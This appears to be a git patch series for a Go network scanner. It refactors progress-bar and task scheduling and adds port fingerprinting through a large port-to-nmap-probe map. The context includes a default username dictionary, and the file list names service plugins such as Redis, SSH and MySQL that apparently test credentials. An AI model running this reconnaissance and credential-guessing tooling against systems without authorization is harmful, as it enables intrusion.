OutputMutex.Unlock() + // 确保清除当前进度条 + if ProgressBar != nil { + ProgressBar.Clear() + time.Sleep(10 * time.Millisecond) + } + + // 打印日志 logMsg := formatLogMessage(entry) - // 只在输出到终端时处理进度条 if !NoColor { - // 清除当前行 - fmt.Print("\033[2K\r") if colorAttr, ok := logColors[entry.Level]; ok { color.New(colorAttr).Println(logMsg) } else { @@ -105,6 +109,14 @@ func printLog(entry *LogEntry) { } else { fmt.Println(logMsg) } + + // 确保日志完全输出 + time.Sleep(50 * time.Millisecond) + + // 重新渲染进度条 + if ProgressBar != nil { + ProgressBar.RenderBlank() + } } func LogError(errMsg string) { diff --git a/Core/Scanner.go b/Core/Scanner.go index 21f92ff..bf09da7 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -119,92 +119,62 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro loadedPlugins := make([]string, 0) // 先遍历一遍计算实际要执行的任务数 actualTasks := 0 - for _, target := range targets { - targetPort, _ := strconv.Atoi(target.Ports) - for _, pluginName := range pluginsToRun { - plugin, exists := Common.PluginManager[pluginName] - if !exists { - continue - } - - if Common.LocalScan { - if len(plugin.Ports) == 0 { - actualTasks++ - } - continue - } - - if isSinglePlugin { - actualTasks++ - continue - } - - if len(plugin.Ports) > 0 { - if plugin.HasPort(targetPort) { - actualTasks++ - } - } else { - actualTasks++ - } - } + // 定义任务结构 + type ScanTask struct { + pluginName string + target Common.HostInfo } + tasks := make([]ScanTask, 0) - // 初始化进度条 - Common.ProgressBar = progressbar.NewOptions(actualTasks, - progressbar.OptionEnableColorCodes(true), - progressbar.OptionShowCount(), - progressbar.OptionSetWidth(15), - progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), - progressbar.OptionSetTheme(progressbar.Theme{ - Saucer: "[green]=[reset]", - SaucerHead: "[green]>[reset]", - SaucerPadding: " ", - BarStart: "[", - BarEnd: "]", - }), - progressbar.OptionUseANSICodes(true), - progressbar.OptionSetRenderBlankState(true), - // 设置更新频率 - progressbar.OptionThrottle(65*time.Millisecond), - ) - - // 确保进度条首次渲染 - Common.ProgressBar.RenderBlank() - time.Sleep(100 * time.Millisecond) // 给进度条一个短暂的初始化时间 - + // 第一次遍历:计算任务数和收集要执行的插件 for _, target := range targets { targetPort, _ := strconv.Atoi(target.Ports) for _, pluginName := range pluginsToRun { plugin, exists := Common.PluginManager[pluginName] if !exists { - Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName)) continue } if Common.LocalScan { if len(plugin.Ports) == 0 { + actualTasks++ loadedPlugins = append(loadedPlugins, pluginName) - AddScan(pluginName, target, ch, wg) + tasks = append(tasks, ScanTask{ + pluginName: pluginName, + target: target, + }) } continue } if isSinglePlugin { + actualTasks++ loadedPlugins = append(loadedPlugins, pluginName) - AddScan(pluginName, target, ch, wg) + tasks = append(tasks, ScanTask{ + pluginName: pluginName, + target: target, + }) continue } if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { + actualTasks++ loadedPlugins = append(loadedPlugins, pluginName) - AddScan(pluginName, target, ch, wg) + tasks = append(tasks, ScanTask{ + pluginName: pluginName, + target: target, + }) } } else { + actualTasks++ loadedPlugins = append(loadedPlugins, pluginName) - AddScan(pluginName, target, ch, wg) + tasks = append(tasks, ScanTask{ + pluginName: pluginName, + target: target, + }) } } } @@ -222,6 +192,31 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro sort.Strings(finalPlugins) Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", "))) + + // 在初始化进度条的地方添加判断 + if !Common.NoProgress { + Common.ProgressBar = progressbar.NewOptions(actualTasks, + progressbar.OptionEnableColorCodes(true), + progressbar.OptionShowCount(), + progressbar.OptionSetWidth(15), + progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), + progressbar.OptionSetTheme(progressbar.Theme{ + Saucer: "[green]=[reset]", + SaucerHead: "[green]>[reset]", + SaucerPadding: " ", + BarStart: "[", + BarEnd: "]", + }), + progressbar.OptionThrottle(65*time.Millisecond), + progressbar.OptionUseANSICodes(true), + progressbar.OptionSetRenderBlankState(true), + ) + } + + // 开始执行收集到的所有任务 + for _, task := range tasks { + AddScan(task.pluginName, task.target, ch, wg) + } } // finishScan 完成扫描任务 From a42ee523b0d46d75d704e87408e282a671ca70a8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 3 Jan 2025 16:29:54 +0800 Subject: [PATCH 167/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E7=AB=AF?= =?UTF-8?q?=E5=8F=A3=E8=AF=86=E5=88=AB=EF=BC=8C=E4=BF=AE=E5=A4=8D=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E6=80=BB=E8=B6=85=E6=97=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 814 ++ Common/Log.go | 21 + Core/PortFinger.go | 877 ++ Core/PortInfo.go | 472 + Core/PortScan.go | 86 +- Core/nmap-service-probes.txt | 16624 +++++++++++++++++++++++++++++++++ Plugins/ActiveMQ.go | 47 +- Plugins/Cassandra.go | 43 +- Plugins/Elasticsearch.go | 42 +- Plugins/FTP.go | 85 +- Plugins/IMAP.go | 36 +- Plugins/Kafka.go | 36 +- Plugins/LDAP.go | 42 +- Plugins/MSSQL.go | 34 +- Plugins/MySQL.go | 33 +- Plugins/Neo4j.go | 36 +- Plugins/Oracle.go | 37 +- Plugins/POP3.go | 34 +- Plugins/Postgres.go | 36 +- Plugins/RabbitMQ.go | 51 +- Plugins/Redis.go | 510 +- Plugins/Rsync.go | 44 +- Plugins/SMTP.go | 37 +- Plugins/SNMP.go | 29 +- Plugins/SSH.go | 16 + Plugins/Telnet.go | 33 +- Plugins/VNC.go | 31 +- 27 files changed, 19707 insertions(+), 479 deletions(-) create mode 100644 Core/PortFinger.go create mode 100644 Core/PortInfo.go create mode 100644 Core/nmap-service-probes.txt diff --git a/Common/Config.go b/Common/Config.go index 3d479b3..dbcfef2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -31,6 +31,820 @@ var Userdict = map[string][]string{ "neo4j": {"neo4j", "admin", "root", "test"}, } +var DefaultMap = []string{ + "GenericLines", + "GetRequest", + "TLSSessionReq", + "SSLSessionReq", + "ms-sql-s", + "JavaRMI", + "LDAPSearchReq", + "LDAPBindReq", + "oracle-tns", + "Socks5", +} + +var PortMap = map[int][]string{ + 1: {"GetRequest", "Help"}, + 7: {"Help"}, + 21: {"GenericLines", "Help"}, + 23: {"GenericLines", "tn3270"}, + 25: {"Hello", "Help"}, + 35: {"GenericLines"}, + 42: {"SMBProgNeg"}, + 43: {"GenericLines"}, + 53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, + 70: {"GetRequest"}, + 79: {"GenericLines", "GetRequest", "Help"}, + 80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"}, + 81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"}, + 82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"}, + 98: {"GenericLines"}, + 110: {"GenericLines"}, + 111: {"RPCCheck"}, + 113: {"GenericLines", "GetRequest", "Help"}, + 119: {"GenericLines", "Help"}, + 130: {"NotesRPC"}, + 135: {"DNSVersionBindReqTCP", "SMBProgNeg"}, + 139: {"GetRequest", "SMBProgNeg"}, + 143: {"GetRequest"}, + 175: {"NJE"}, + 199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"}, + 214: {"GenericLines"}, + 256: {"LDAPSearchReq", "LDAPBindReq"}, + 257: {"LDAPSearchReq", "LDAPBindReq"}, + 261: {"SSLSessionReq"}, + 264: {"GenericLines"}, + 271: {"SSLSessionReq"}, + 280: {"GetRequest"}, + 322: {"RTSPRequest", "SSLSessionReq"}, + 324: {"SSLSessionReq"}, + 389: {"LDAPSearchReq", "LDAPBindReq"}, + 390: {"LDAPSearchReq", "LDAPBindReq"}, + 406: {"SIPOptions"}, + 427: {"NotesRPC"}, + 443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"}, + 444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 445: {"SMBProgNeg"}, + 448: {"SSLSessionReq"}, + 449: {"GenericLines"}, + 465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 497: {"GetRequest", "X11Probe"}, + 500: {"OpenVPN"}, + 505: {"GenericLines", "GetRequest"}, + 510: {"GenericLines"}, + 512: {"DNSVersionBindReqTCP"}, + 513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, + 514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, + 515: {"GetRequest", "Help", "LPDString", "TerminalServer"}, + 523: {"ibm-db2-das", "ibm-db2"}, + 524: {"NCP"}, + 540: {"GenericLines", "GetRequest"}, + 543: {"DNSVersionBindReqTCP"}, + 544: {"RPCCheck", "DNSVersionBindReqTCP"}, + 548: {"SSLSessionReq", "SSLv23SessionReq", "afp"}, + 554: {"GetRequest", "RTSPRequest"}, + 563: {"SSLSessionReq"}, + 585: {"SSLSessionReq"}, + 587: {"GenericLines", "Hello", "Help"}, + 591: {"GetRequest"}, + 616: {"GenericLines"}, + 620: {"GetRequest"}, + 623: {"tn3270"}, + 628: {"GenericLines", "DNSVersionBindReqTCP"}, + 631: {"GetRequest", "HTTPOptions"}, + 636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"}, + 637: {"LDAPSearchReq", "LDAPBindReq"}, + 641: {"HTTPOptions"}, + 660: {"SMBProgNeg"}, + 666: {"GenericLines", "beast2"}, + 684: {"SSLSessionReq"}, + 706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"}, + 710: {"RPCCheck"}, + 711: {"RPCCheck"}, + 731: {"GenericLines"}, + 771: {"GenericLines"}, + 782: {"GenericLines"}, + 783: {"GetRequest"}, + 853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"}, + 888: {"GetRequest"}, + 898: {"GetRequest"}, + 900: {"GetRequest"}, + 901: {"GetRequest"}, + 989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"}, + 993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 999: {"JavaRMI"}, + 1000: {"GenericLines"}, + 1010: {"GenericLines"}, + 1025: {"SMBProgNeg"}, + 1026: {"GetRequest"}, + 1027: {"SMBProgNeg"}, + 1028: {"TerminalServer"}, + 1029: {"DNSVersionBindReqTCP"}, + 1030: {"JavaRMI"}, + 1031: {"SMBProgNeg"}, + 1035: {"JavaRMI", "oracle-tns"}, + 1040: {"GenericLines"}, + 1041: {"GenericLines"}, + 1042: {"GenericLines", "GetRequest"}, + 1043: {"GenericLines"}, + 1068: {"TerminalServer"}, + 1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"}, + 1090: {"JavaRMI", "Socks5", "Socks4"}, + 1095: {"Socks5", "Socks4"}, + 1098: {"JavaRMI"}, + 1099: {"JavaRMI"}, + 1100: {"JavaRMI", "Socks5", "Socks4"}, + 1101: {"JavaRMI"}, + 1102: {"JavaRMI"}, + 1103: {"JavaRMI"}, + 1105: {"Socks5", "Socks4"}, + 1109: {"Socks5", "Socks4"}, + 1111: {"Help"}, + 1112: {"SMBProgNeg"}, + 1129: {"JavaRMI"}, + 1194: {"OpenVPN"}, + 1199: {"JavaRMI"}, + 1200: {"NCP"}, + 1212: {"GenericLines"}, + 1214: {"GetRequest"}, + 1217: {"NCP"}, + 1220: {"GenericLines", "GetRequest"}, + 1234: {"GetRequest", "JavaRMI"}, + 1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"}, + 1248: {"GenericLines"}, + 1302: {"GenericLines"}, + 1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 1314: {"GetRequest"}, + 1344: {"GetRequest"}, + 1352: {"NotesRPC"}, + 1400: {"GenericLines"}, + 1414: {"ibm-mqseries"}, + 1415: {"ibm-mqseries"}, + 1416: {"ibm-mqseries"}, + 1417: {"ibm-mqseries"}, + 1418: {"ibm-mqseries"}, + 1419: {"ibm-mqseries"}, + 1420: {"ibm-mqseries"}, + 1432: {"GenericLines"}, + 1433: {"ms-sql-s", "RPCCheck"}, + 1440: {"JavaRMI"}, + 1443: {"GetRequest", "SSLSessionReq"}, + 1467: {"GenericLines"}, + 1500: {"Verifier"}, + 1501: {"GenericLines", "VerifierAdvanced"}, + 1503: {"GetRequest", "TerminalServer"}, + 1505: {"GenericLines"}, + 1521: {"oracle-tns"}, + 1522: {"oracle-tns"}, + 1525: {"oracle-tns"}, + 1526: {"oracle-tns", "informix", "drda"}, + 1527: {"drda"}, + 1549: {"WMSRequest"}, + 1550: {"X11Probe"}, + 1574: {"oracle-tns"}, + 1583: {"pervasive-relational", "pervasive-btrieve"}, + 1599: {"LibreOfficeImpressSCPair"}, + 1610: {"GetRequest"}, + 1611: {"GetRequest"}, + 1666: {"GenericLines"}, + 1687: {"GenericLines"}, + 1688: {"GenericLines"}, + 1702: {"LDAPSearchReq", "LDAPBindReq"}, + 1720: {"TerminalServer"}, + 1748: {"oracle-tns"}, + 1754: {"oracle-tns"}, + 1755: {"WMSRequest"}, + 1761: {"LANDesk-RC"}, + 1762: {"LANDesk-RC"}, + 1763: {"LANDesk-RC"}, + 1830: {"GetRequest"}, + 1883: {"mqtt"}, + 1900: {"GetRequest"}, + 1911: {"niagara-fox"}, + 1935: {"TerminalServer"}, + 1962: {"pcworx"}, + 1972: {"NotesRPC"}, + 1981: {"JavaRMI"}, + 2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"}, + 2001: {"GetRequest"}, + 2002: {"GetRequest", "X11Probe"}, + 2010: {"GenericLines"}, + 2023: {"tn3270"}, + 2024: {"GenericLines"}, + 2030: {"GetRequest"}, + 2040: {"TerminalServer"}, + 2049: {"RPCCheck"}, + 2050: {"dominoconsole"}, + 2064: {"GetRequest"}, + 2068: {"DNSVersionBindReqTCP"}, + 2100: {"FourOhFourRequest"}, + 2105: {"DNSVersionBindReqTCP"}, + 2160: {"GetRequest"}, + 2181: {"Memcache"}, + 2199: {"JavaRMI"}, + 2221: {"SSLSessionReq"}, + 2252: {"TLSSessionReq", "SSLSessionReq", "NJE"}, + 2301: {"HTTPOptions"}, + 2306: {"GetRequest"}, + 2323: {"tn3270"}, + 2375: {"docker"}, + 2376: {"SSLSessionReq", "docker"}, + 2379: {"docker"}, + 2380: {"docker"}, + 2396: {"GetRequest"}, + 2401: {"Help"}, + 2443: {"SSLSessionReq"}, + 2481: {"giop"}, + 2482: {"giop"}, + 2525: {"GetRequest"}, + 2600: {"GenericLines"}, + 2627: {"Help"}, + 2701: {"LANDesk-RC"}, + 2715: {"GetRequest"}, + 2809: {"JavaRMI"}, + 2869: {"GetRequest"}, + 2947: {"LPDString"}, + 2967: {"DNSVersionBindReqTCP"}, + 3000: {"GenericLines", "GetRequest", "Help", "NCP"}, + 3001: {"NCP"}, + 3002: {"GetRequest", "NCP"}, + 3003: {"NCP"}, + 3004: {"NCP"}, + 3005: {"GenericLines", "NCP"}, + 3006: {"SMBProgNeg", "NCP"}, + 3025: {"Hello"}, + 3031: {"NCP"}, + 3050: {"firebird"}, + 3052: {"GetRequest", "RTSPRequest"}, + 3127: {"mydoom"}, + 3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"}, + 3129: {"mydoom"}, + 3130: {"mydoom"}, + 3131: {"mydoom"}, + 3132: {"mydoom"}, + 3133: {"mydoom"}, + 3134: {"mydoom"}, + 3135: {"mydoom"}, + 3136: {"mydoom"}, + 3137: {"mydoom"}, + 3138: {"mydoom"}, + 3139: {"mydoom"}, + 3140: {"mydoom"}, + 3141: {"mydoom"}, + 3142: {"mydoom"}, + 3143: {"mydoom"}, + 3144: {"mydoom"}, + 3145: {"mydoom"}, + 3146: {"mydoom"}, + 3147: {"mydoom"}, + 3148: {"mydoom"}, + 3149: {"mydoom"}, + 3150: {"mydoom"}, + 3151: {"mydoom"}, + 3152: {"mydoom"}, + 3153: {"mydoom"}, + 3154: {"mydoom"}, + 3155: {"mydoom"}, + 3156: {"mydoom"}, + 3157: {"mydoom"}, + 3158: {"mydoom"}, + 3159: {"mydoom"}, + 3160: {"mydoom"}, + 3161: {"mydoom"}, + 3162: {"mydoom"}, + 3163: {"mydoom"}, + 3164: {"mydoom"}, + 3165: {"mydoom"}, + 3166: {"mydoom"}, + 3167: {"mydoom"}, + 3168: {"mydoom"}, + 3169: {"mydoom"}, + 3170: {"mydoom"}, + 3171: {"mydoom"}, + 3172: {"mydoom"}, + 3173: {"mydoom"}, + 3174: {"mydoom"}, + 3175: {"mydoom"}, + 3176: {"mydoom"}, + 3177: {"mydoom"}, + 3178: {"mydoom"}, + 3179: {"mydoom"}, + 3180: {"mydoom"}, + 3181: {"mydoom"}, + 3182: {"mydoom"}, + 3183: {"mydoom"}, + 3184: {"mydoom"}, + 3185: {"mydoom"}, + 3186: {"mydoom"}, + 3187: {"mydoom"}, + 3188: {"mydoom"}, + 3189: {"mydoom"}, + 3190: {"mydoom"}, + 3191: {"mydoom"}, + 3192: {"mydoom"}, + 3193: {"mydoom"}, + 3194: {"mydoom"}, + 3195: {"mydoom"}, + 3196: {"mydoom"}, + 3197: {"mydoom"}, + 3198: {"mydoom"}, + 3268: {"LDAPSearchReq", "LDAPBindReq"}, + 3269: {"LDAPSearchReq", "LDAPBindReq"}, + 3273: {"JavaRMI"}, + 3280: {"GetRequest"}, + 3310: {"GenericLines", "VersionRequest"}, + 3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"}, + 3351: {"pervasive-relational", "pervasive-btrieve"}, + 3372: {"GetRequest", "RTSPRequest"}, + 3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"}, + 3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"}, + 3443: {"GetRequest", "SSLSessionReq"}, + 3493: {"Help"}, + 3531: {"GetRequest"}, + 3632: {"DistCCD"}, + 3689: {"GetRequest"}, + 3790: {"metasploit-msgrpc"}, + 3872: {"GetRequest"}, + 3892: {"LDAPSearchReq", "LDAPBindReq"}, + 3900: {"SMBProgNeg", "JavaRMI"}, + 3940: {"GenericLines"}, + 4000: {"GetRequest", "NoMachine"}, + 4035: {"LDAPBindReq", "LDAPBindReq"}, + 4045: {"RPCCheck"}, + 4155: {"GenericLines"}, + 4369: {"epmd"}, + 4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"}, + 4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, + 4533: {"rotctl"}, + 4567: {"GetRequest"}, + 4660: {"GetRequest"}, + 4711: {"GetRequest", "piholeVersion"}, + 4899: {"Radmin"}, + 4911: {"SSLSessionReq", "niagara-fox"}, + 4999: {"RPCCheck"}, + 5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"}, + 5001: {"WMSRequest", "ZendJavaBridge"}, + 5002: {"ZendJavaBridge"}, + 5009: {"SMBProgNeg"}, + 5060: {"GetRequest", "SIPOptions"}, + 5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"}, + 5201: {"iperf3"}, + 5222: {"GetRequest"}, + 5232: {"HTTPOptions"}, + 5269: {"GetRequest"}, + 5280: {"GetRequest"}, + 5302: {"X11Probe"}, + 5323: {"DNSVersionBindReqTCP"}, + 5400: {"GenericLines"}, + 5427: {"GetRequest"}, + 5432: {"GenericLines", "GetRequest", "SMBProgNeg"}, + 5443: {"SSLSessionReq"}, + 5520: {"DNSVersionBindReqTCP", "JavaRMI"}, + 5521: {"JavaRMI"}, + 5530: {"DNSVersionBindReqTCP"}, + 5550: {"SSLSessionReq", "SSLv23SessionReq"}, + 5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"}, + 5556: {"DNSVersionBindReqTCP"}, + 5570: {"GenericLines"}, + 5580: {"JavaRMI"}, + 5600: {"SMBProgNeg"}, + 5701: {"hazelcast-http"}, + 5702: {"hazelcast-http"}, + 5703: {"hazelcast-http"}, + 5704: {"hazelcast-http"}, + 5705: {"hazelcast-http"}, + 5706: {"hazelcast-http"}, + 5707: {"hazelcast-http"}, + 5708: {"hazelcast-http"}, + 5709: {"LANDesk-RC", "hazelcast-http"}, + 5800: {"GetRequest"}, + 5801: {"GetRequest"}, + 5802: {"GetRequest"}, + 5803: {"GetRequest"}, + 5868: {"SSLSessionReq"}, + 5900: {"GetRequest"}, + 5985: {"GetRequest"}, + 5986: {"GetRequest", "SSLSessionReq"}, + 5999: {"JavaRMI"}, + 6000: {"HTTPOptions", "X11Probe"}, + 6001: {"X11Probe"}, + 6002: {"X11Probe"}, + 6003: {"X11Probe"}, + 6004: {"X11Probe"}, + 6005: {"X11Probe"}, + 6006: {"X11Probe"}, + 6007: {"X11Probe"}, + 6008: {"X11Probe"}, + 6009: {"X11Probe"}, + 6010: {"X11Probe"}, + 6011: {"X11Probe"}, + 6012: {"X11Probe"}, + 6013: {"X11Probe"}, + 6014: {"X11Probe"}, + 6015: {"X11Probe"}, + 6016: {"X11Probe"}, + 6017: {"X11Probe"}, + 6018: {"X11Probe"}, + 6019: {"X11Probe"}, + 6020: {"X11Probe"}, + 6050: {"DNSStatusRequestTCP"}, + 6060: {"JavaRMI"}, + 6103: {"GetRequest"}, + 6112: {"GenericLines"}, + 6163: {"HELP4STOMP"}, + 6251: {"SSLSessionReq"}, + 6346: {"GetRequest"}, + 6379: {"redis-server"}, + 6432: {"GenericLines"}, + 6443: {"SSLSessionReq"}, + 6543: {"DNSVersionBindReqTCP"}, + 6544: {"GetRequest"}, + 6560: {"Help"}, + 6588: {"Socks5", "Socks4"}, + 6600: {"GetRequest"}, + 6660: {"Socks5", "Socks4"}, + 6661: {"Socks5", "Socks4"}, + 6662: {"Socks5", "Socks4"}, + 6663: {"Socks5", "Socks4"}, + 6664: {"Socks5", "Socks4"}, + 6665: {"Socks5", "Socks4"}, + 6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"}, + 6667: {"GenericLines", "Help", "Socks5", "Socks4"}, + 6668: {"GenericLines", "Help", "Socks5", "Socks4"}, + 6669: {"GenericLines", "Help", "Socks5", "Socks4"}, + 6670: {"GenericLines", "Help"}, + 6679: {"TLSSessionReq", "SSLSessionReq"}, + 6697: {"TLSSessionReq", "SSLSessionReq"}, + 6699: {"GetRequest"}, + 6715: {"JMON", "JMON"}, + 6789: {"JavaRMI"}, + 6802: {"NCP"}, + 6969: {"GetRequest"}, + 6996: {"JavaRMI"}, + 7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"}, + 7002: {"GetRequest"}, + 7007: {"GetRequest"}, + 7008: {"DNSVersionBindReqTCP"}, + 7070: {"GetRequest", "RTSPRequest"}, + 7100: {"GetRequest", "X11Probe"}, + 7101: {"X11Probe"}, + 7144: {"GenericLines"}, + 7145: {"GenericLines"}, + 7171: {"NotesRPC"}, + 7200: {"GenericLines"}, + 7210: {"SSLSessionReq", "SSLv23SessionReq"}, + 7272: {"SSLSessionReq", "SSLv23SessionReq"}, + 7402: {"GetRequest"}, + 7443: {"GetRequest", "SSLSessionReq"}, + 7461: {"SMBProgNeg"}, + 7700: {"JavaRMI"}, + 7776: {"GetRequest"}, + 7777: {"X11Probe", "Socks5", "Arucer"}, + 7780: {"GenericLines"}, + 7800: {"JavaRMI"}, + 7801: {"JavaRMI"}, + 7878: {"JavaRMI"}, + 7887: {"xmlsysd"}, + 7890: {"JavaRMI"}, + 8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"}, + 8001: {"GetRequest", "FourOhFourRequest"}, + 8002: {"GetRequest", "FourOhFourRequest"}, + 8003: {"GetRequest", "FourOhFourRequest"}, + 8004: {"GetRequest", "FourOhFourRequest"}, + 8005: {"GetRequest", "FourOhFourRequest"}, + 8006: {"GetRequest", "FourOhFourRequest"}, + 8007: {"GetRequest", "FourOhFourRequest"}, + 8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"}, + 8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"}, + 8010: {"GetRequest", "FourOhFourRequest", "Socks5"}, + 8050: {"JavaRMI"}, + 8051: {"JavaRMI"}, + 8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"}, + 8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"}, + 8082: {"GetRequest", "FourOhFourRequest"}, + 8083: {"GetRequest", "FourOhFourRequest"}, + 8084: {"GetRequest", "FourOhFourRequest"}, + 8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"}, + 8087: {"riak-pbc"}, + 8088: {"GetRequest", "Socks5", "Socks4"}, + 8091: {"JavaRMI"}, + 8118: {"GetRequest"}, + 8138: {"GenericLines"}, + 8181: {"GetRequest", "SSLSessionReq"}, + 8194: {"SSLSessionReq", "SSLv23SessionReq"}, + 8205: {"JavaRMI"}, + 8303: {"JavaRMI"}, + 8307: {"RPCCheck"}, + 8333: {"RPCCheck"}, + 8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"}, + 8530: {"GetRequest"}, + 8531: {"GetRequest", "SSLSessionReq"}, + 8642: {"JavaRMI"}, + 8686: {"JavaRMI"}, + 8701: {"JavaRMI"}, + 8728: {"NotesRPC"}, + 8770: {"apple-iphoto"}, + 8880: {"GetRequest", "FourOhFourRequest"}, + 8881: {"GetRequest", "FourOhFourRequest"}, + 8882: {"GetRequest", "FourOhFourRequest"}, + 8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"}, + 8884: {"GetRequest", "FourOhFourRequest"}, + 8885: {"GetRequest", "FourOhFourRequest"}, + 8886: {"GetRequest", "FourOhFourRequest"}, + 8887: {"GetRequest", "FourOhFourRequest"}, + 8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"}, + 8889: {"JavaRMI"}, + 8890: {"JavaRMI"}, + 8901: {"JavaRMI"}, + 8902: {"JavaRMI"}, + 8903: {"JavaRMI"}, + 8999: {"JavaRMI"}, + 9000: {"GenericLines", "GetRequest"}, + 9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"}, + 9002: {"GenericLines", "tor-versions"}, + 9003: {"GenericLines", "JavaRMI"}, + 9004: {"JavaRMI"}, + 9005: {"JavaRMI"}, + 9030: {"GetRequest"}, + 9050: {"GetRequest", "JavaRMI"}, + 9080: {"GetRequest"}, + 9088: {"informix", "drda"}, + 9089: {"informix", "drda"}, + 9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"}, + 9091: {"informix", "drda"}, + 9092: {"informix", "drda"}, + 9093: {"informix", "drda"}, + 9094: {"informix", "drda"}, + 9095: {"informix", "drda"}, + 9096: {"informix", "drda"}, + 9097: {"informix", "drda"}, + 9098: {"informix", "drda"}, + 9099: {"JavaRMI", "informix", "drda"}, + 9100: {"hp-pjl", "informix", "drda"}, + 9101: {"hp-pjl"}, + 9102: {"SMBProgNeg", "hp-pjl"}, + 9103: {"SMBProgNeg", "hp-pjl"}, + 9104: {"hp-pjl"}, + 9105: {"hp-pjl"}, + 9106: {"hp-pjl"}, + 9107: {"hp-pjl"}, + 9300: {"JavaRMI"}, + 9390: {"metasploit-xmlrpc"}, + 9443: {"GetRequest", "SSLSessionReq"}, + 9481: {"Socks5"}, + 9500: {"JavaRMI"}, + 9711: {"JavaRMI"}, + 9761: {"insteonPLM"}, + 9801: {"GenericLines"}, + 9809: {"JavaRMI"}, + 9810: {"JavaRMI"}, + 9811: {"JavaRMI"}, + 9812: {"JavaRMI"}, + 9813: {"JavaRMI"}, + 9814: {"JavaRMI"}, + 9815: {"JavaRMI"}, + 9875: {"JavaRMI"}, + 9910: {"JavaRMI"}, + 9930: {"ibm-db2-das"}, + 9931: {"ibm-db2-das"}, + 9932: {"ibm-db2-das"}, + 9933: {"ibm-db2-das"}, + 9934: {"ibm-db2-das"}, + 9991: {"JavaRMI"}, + 9998: {"teamspeak-tcpquery-ver"}, + 